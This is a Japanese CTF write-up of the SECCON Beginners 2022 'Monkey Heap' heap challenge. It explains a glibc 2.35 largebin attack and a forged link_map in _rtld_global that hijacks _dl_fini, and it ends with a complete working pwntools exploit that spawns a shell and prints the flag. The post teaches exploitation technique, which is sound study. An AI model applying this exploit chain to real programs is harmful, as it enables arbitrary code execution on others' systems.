SECCON Beginners CTF 2022でこの問題だけ解けなかったので、後から解いた。他の問題はこちら。
分かる人向け要約。
- mallocにおいて、双方向リンクのチャンクは特にチェックが厳しいが、largebinに既存のチャンクよりも小さいチャンクを繋ぐときにはチェックが無い
- これを利用すると、任意のアドレスにヒープのアドレスを書き込める
-
_rtld_global._dl_ns[0]._ns_loaded
にヒープのアドレスを書き込み、ヒープにstruct link_map
を偽装しておくことで、任意コード実行に繋げられる
問題概要
ソースコード。
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define MAX 4
char *papyrus[MAX];
int getint(const char *msg) {
int v;
printf("%s", msg);
if (scanf("%d%*c", &v) != 1) exit(0);
return v;
}
int main() {
puts("1. new papyrus");
puts("2. write");
puts("3. read");
puts("4. burn");
while (1) {
int choice = getint("> ");
switch (choice) {
case 1: {
int index = getint("index: ");
if (index < 0 || index >= MAX) break;
int size = getint("size: ");
if (size >= 0x600) break;
if (size < 0x500) size = 0x500;
papyrus[index] = (char*)calloc(size, 1);
puts("[+] done! uhouho~~");
break;
}
case 2: {
int index = getint("index: ");
if (index < 0 || index >= MAX || !papyrus[index]) break;
printf("data: ");
fgets(papyrus[index], 0x500, stdin);
puts("[+] done! uhoho~");
break;
}
case 3: {
int index = getint("index: ");
if (index < 0 || index >= MAX || !papyrus[index]) break;
printf("papyrus: %s", papyrus[index]);
break;
}
case 4: {
int index = getint("index: ");
if (index < 0 || index >= MAX) break;
free(papyrus[index]);
puts("[+] done! uhhoho");
break;
}
default:
puts("[+] bye! uho");
return 0;
}
}
}
__attribute__((constructor))
void setup() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
alarm(180);
}
これだけ。ヒープ問で良く見る形式。
- Double freeとuse after freeが可能
- 確保可能なサイズは0x500バイト以上、0x600バイト未満
-
malloc
ではなくcalloc
- 関数の仕様的には、0埋めをしてくれる
malloc
というだけ - 内部的にはtcacheを使わないという違いがある
- 関数の仕様的には、0埋めをしてくれる
Glibcは2.35。バイナリのセキュリティ機構は全て有効。
$ checksec chall
[*] '/mnt/d/documents/ctf/secconbeginners2022/Monkey Heap/monkey/bin/chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
サイズが0x500バイト以上なので、unsorted binとlargebin以外は使えない。新しいGlibcなのでチェックも厳しいだろうし、何をしたら良いのか分からなかった。サイズを上手いこと調節してチャンクを分割すれば、他のbinに入れることもできるだろうが、取り出せないから意味が無い。
解法
これをやるだけっぽい。まあ、SECCON Beginners CTFだし。
3種類の手法の組合わせという理解で良いのだろうか。
- largebin attackで任意のアドレスにヒープのアドレスを書き込む
-
_rtld_global
に偽の構造体を突っ込むことで、プログラムの終了時に任意のアドレスに制御を移す -
setcontext
などを利用してシェルを取る
それぞれの手法単体でも使いどころがありそう。
largebin attack
largebinにチャンクを繋ぐ処理のうち、この部分ではチェックが無いことを利用する。ホントだ。他はこれでもかというほどチェックしているのに、ここはチェックが無いのか。
/* if smaller than smallest, bypass loop below */
assert (chunk_main_arena (bck->bk));
if ((unsigned long) (size)
< (unsigned long) chunksize_nomask (bck->bk))
{
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
largebinは、smallbinなどと異なり、1個のbinに異なるサイズのチャンクが繋がれる。全てのチャンクを単に双方向リンクで繋ぐと、特定のサイズのチャンクを探すときに時間が掛かってしまうので、2重の双方向リンクになっている。各サイズのチャンクのうち、どれか1個が fd_nextsize
と bk_nextsize
を使って、binに双方向リンクで繋がれている。そこからさらに同じサイズのチャンクが fd
と bk
を使って繋がれている。
こんなイメージ。チャンクサイズは適当。
あるチャンク A
がlargebinに繋がっているとき、チャンク A
の bk_nextsize
(チャンクのアドレス+0x28、 malloc
が返すアドレス+0x18)に、 addr-0x20
を書き込み、 A
よりも小さなチャンク B
をlargebinに繋げると、 addr
にチャンク A
のアドレスが書き込まれる。
細々と注意しないといけないことはある。
- チャンク
A
が、同じlargebinに繋がれているチャンクの中で最小でなければいけない - largebinに入るチャンクは、前後のチャンクやtopと統合されるので、間に解放しない別のチャンクを挟まないといけない
- 書き込まれるのはチャンクのアドレスであって、
malloc
から返ってくるアドレス(プログラムのwrite
コマンドで書き込めるアドレス)ではない
まあ、Pwngdbなどを入れて、ヒープの様子を確認しながらデバッグすれば何とかなる。
_rtld_global
ここが分からず、コンテスト中には解けなかった。ブログ記事で作っているpayloadと、struct rtld_global
を見比べても全然対応している気がしなかった……。
これが間違いで、作っているpayloadは struct rtld_global
ではなく struct link_map
である。largebin attackでは、 _rtld_global
を指すポインタを書き込んでいるのではなく、 _rtld_global
の最初の要素を書き換えている。 _rtld_global
の最初の要素は、 _rtld_global._dl_ns[0]._ns_loaded
。それさえ分かってしまえば、ブログ記事もすんなり読める。
main
関数から返ったり exit
関数を呼び出したりしたときに呼ばれる関数 _dl_fini
のこの部分の処理を狙う。
if (l->l_info[DT_FINI_ARRAY] != NULL)
{
ElfW(Addr) *array =
(ElfW(Addr) *) (l->l_addr
+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
/ sizeof (ElfW(Addr)));
while (i-- > 0)
((fini_t) array[i]) ();
}
ここまで処理が到達するような、 struct link_map
を作れば良い。
-
struct rtld_global
の定義 -
struct link_map
の定義
l_next
で繋がった link_map
を4個用意するのが面倒。そうしないといけないのは、 _rtld_global
に4個あると書かれているのと整合性を取るため。
元記事のCのコードはこのチェーンを作っているのに、Pythonコードのほうが無いなと思ったら、本来繋がっているはずの link_map
に繋いでいるかららしい。なるほど。これはこれで楽だけれど、しかし調べるアドレスが増えるのは手間。
link_map
はサイズが大きいので最初のほうだけ作ったけれど、何かソートしている処理の奥のほうで落ちた。まあ、この辺はデバッガで動かしながら直せば良い。
あと、 _rtld_global
はlibc.soではなくld.soの中にあることに注意。libc.soとld.soの相対アドレスは、ASLRのようにランダムに変わるわけではないけど、デバッガの有無とか、VMにインストールしたのとDockerで動かしているのとで変わって安定しない。だからこの問題ではDockerfileも配布されていたのか。この間隔はどうやって決まるのだろう。
シェルを取る
このone gadgetが動いたので良かった。
0xebcf1 execve("/bin/sh", r10, [rbp-0x70])
constraints:
address rbp-0x78 is writable
[r10] == NULL || r10 == NULL
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL
ブログ記事だと setcontext
の途中に飛ばしている。 setcontext
は setjmp
/ longjmp
のすごい版らしく、レジスタをまとめて書き戻すような処理がある。それでstack pivotができて、あとは system("/bin/sh")
を呼ぶと。
サイトの別の記事曰く、 _dl_fini
中のこの処理は複数の関数を連続して呼び出せるのでとても使い勝手良いらしい。
また、デバッガで動いているときの様子を見ると、ソートのために動的に配列を確保して各 link_map
のアドレスを格納しているものが、ちょうどスタックにあって、それも使えそう。ここまで来られれば何とでもなりそう。
他の解法
monkey heap: large bin attackを2度使って、昔から知られているatexitのリスト偽造をしました。TLS中のPTR_MANGLE用の乱数と、__exit_funcsを書き換えて、ヒープ中にいい感じの簡単な構造を作るだけでいけます。huskもbananaも使ってないと思う。
— bata (@bata_24) June 5, 2022
なるほど。unsorted bin attackと違って、複数回使えるのか。これは、largebinが複数があるからではなく、unlink時の攻撃ではないから。以下のソースコードで、2回目は p1
ではなく、 p0
を書き換える。1回目に、largebinの bk_nextsize
を書き換えるときの挙動で攻撃をしているので、 bk_nextsize
はそのまま p0
を指しているということかな。
#include <stdio.h>
#include <stdlib.h>
int main()
{
long *p0, *p1, *p2;
long *target0 = NULL;
long *target1 = NULL;
p0 = malloc(0x520);
malloc(0x10);
p1 = malloc(0x510);
malloc(0x10);
p2 = malloc(0x500);
malloc(0x10);
printf("p0: %p\n", p0);
printf("p1: %p\n", p1);
printf("p2: %p\n", p2);
free(p0);
malloc(0x530);
p0[3] = (long)&target0-0x20;
free(p1);
malloc(0x530);
// p1[3] = ... ではない
p0[3] = (long)&target1-0x20;
free(p2);
malloc(0x530);
printf("target0: %p\n", target0);
printf("target1: %p\n", target1);
}
$ gcc -o test test.c && ./test
p0: 0x55f08c1502a0
p1: 0x55f08c1507f0
p2: 0x55f08c150d30
target0: 0x55f08c1507e0
target1: 0x55f08c150d20
攻略
from pwn import *
context.arch = "amd64"
#context.log_level = "debug"
s = remote("monkey.quals.beginners.seccon.jp", 9999)
#s = remote("localhost", 8888)
#s = remote("172.19.91.41", 8888)
def new(index, size):
s.sendlineafter(b"> ", b"1")
s.sendlineafter(b"index: ", str(index).encode())
s.sendlineafter(b"size: ", str(size).encode())
def write(index, data):
s.sendlineafter(b"> ", b"2")
s.sendlineafter(b"index: ", str(index).encode())
s.sendlineafter(b"data: ", data)
def read(index, n):
s.sendlineafter(b"> ", b"3")
s.sendlineafter(b"index: ", str(index).encode())
s.recvuntil(b"papyrus: ")
return s.recv(n)
def burn(index):
s.sendlineafter(b"> ", b"4")
s.sendlineafter(b"index: ", str(index).encode())
def bye():
s.sendlineafter(b"> ", b"5")
# https://www.anquanke.com/post/id/222948
# libcとheapのアドレスの取得
new(0, 0x500) # 0x0290
new(1, 0x500) # 0x07a0
new(2, 0x500) # 0x0cb0
new(3, 0x500) # 0x11c0
burn(0)
burn(2)
unsorted = unpack(read(0, 6).ljust(8, b"\0"))
print("unsorted:", hex(unsorted))
heap = unpack(read(2, 6).ljust(8, b"\0")) - 0x290
print("heap:", hex(heap))
burn(1)
burn(3)
# large bin attack
new(0, 0x510) # 0x0290
new(1, 0x500) # 0x07b0
new(2, 0x520) # 0x0cc0
new(3, 0x500) # 0x11f0
# 2 -> largebin
burn(2)
new(3, 0x530)
# glibc 2.31
#libc = unsorted - 0x1ebbe0
#rce = libc + 0xe6c7e
#_rtld_global = 0x7ffff7ffd060
# glibc 2.35
libc = unsorted - 0x219ce0
rce = libc + 0xebcf1
# gdb
#_rtld_global = libc + 0x240000 + 0x3a040
# no gdb
#_rtld_global = libc + 0x23a000 + 0x3a040
# server
_rtld_global = libc + 0x22c000 + 0x3a040
# _rtld_global._dl_ns[0]._ns_loaded = heap+0x290
write(2, (
pack(0) + # fd
pack(0) + # bk
pack(0) + # fd_nextsize
pack(_rtld_global-0x20) # bk_nextsize
))
# 0 -> largebin
burn(0)
new(3, 0x530)
# fake link_map
addr = heap+0x290 # &payload
payload = b""
# 0x0000: _ns_loaded
payload += pack(0) # l_addr
payload += pack(0) # l_name
payload += pack(0) # l_ld
payload += pack(addr+0x320) # l_next
payload += pack(0) # l_prev
payload += pack(addr) # l_real
payload += bytes(0x110-len(payload))
payload += pack(addr+0x3b0) # l_info[DT_FINI_ARRAY]
payload += pack(0)
payload += pack(addr+0x3c0) # l_info[DT_FINI_ARRAYSZ]
payload += bytes(0x31c-len(payload))
payload += p32(0x8) # l_init_called
# 0x0320: link_map#1
payload += pack(0) # l_addr
payload += pack(0) # l_name
payload += pack(0) # l_ld
payload += pack(addr+0x350) # l_next
payload += pack(0) # l_prev
payload += pack(addr+0x320) # l_real
# 0x0350: link_map#2
payload += pack(0) # l_addr
payload += pack(0) # l_name
payload += pack(0) # l_ld
payload += pack(addr+0x380) # l_next
payload += pack(0) # l_prev
payload += pack(addr+0x350) # l_real
# 0x0380: link_map#2
payload += pack(0) # l_addr
payload += pack(0) # l_name
payload += pack(0) # l_ld
payload += pack(0) # l_next
payload += pack(0) # l_prev
payload += pack(addr+0x380) # l_real
# 0x3b0: fini_array
payload += pack(0)
payload += pack(addr+0x3e0)
# 0x3c0: fini_arraysz
payload += pack(0)
payload += pack(0x8)
# 0x3d0: _dl_sort_mapsがここを触り、0にしておかないと落ちる
payload += pack(0)
payload += pack(0)
# 0x3e0: array
payload += pack(rce)
# チャンクのアドレスとmallocの返り値の差分
# l_addrの位置が0になっているならば問題無い
payload = payload[0x10:]
write(0, payload)
bye()
s.interactive()
$ python3 attack.py
[+] Opening connection to monkey.quals.beginners.seccon.jp on port 9999: Done
unsorted: 0x7f78c01a9ce0
heap: 0x55eefb0c1000
[*] Switching to interactive mode
[+] bye! uho
$ cat flag*
ctf4b{wh4t_d1d_U_us3?_House_of_Banana/Emma/Husk?}
$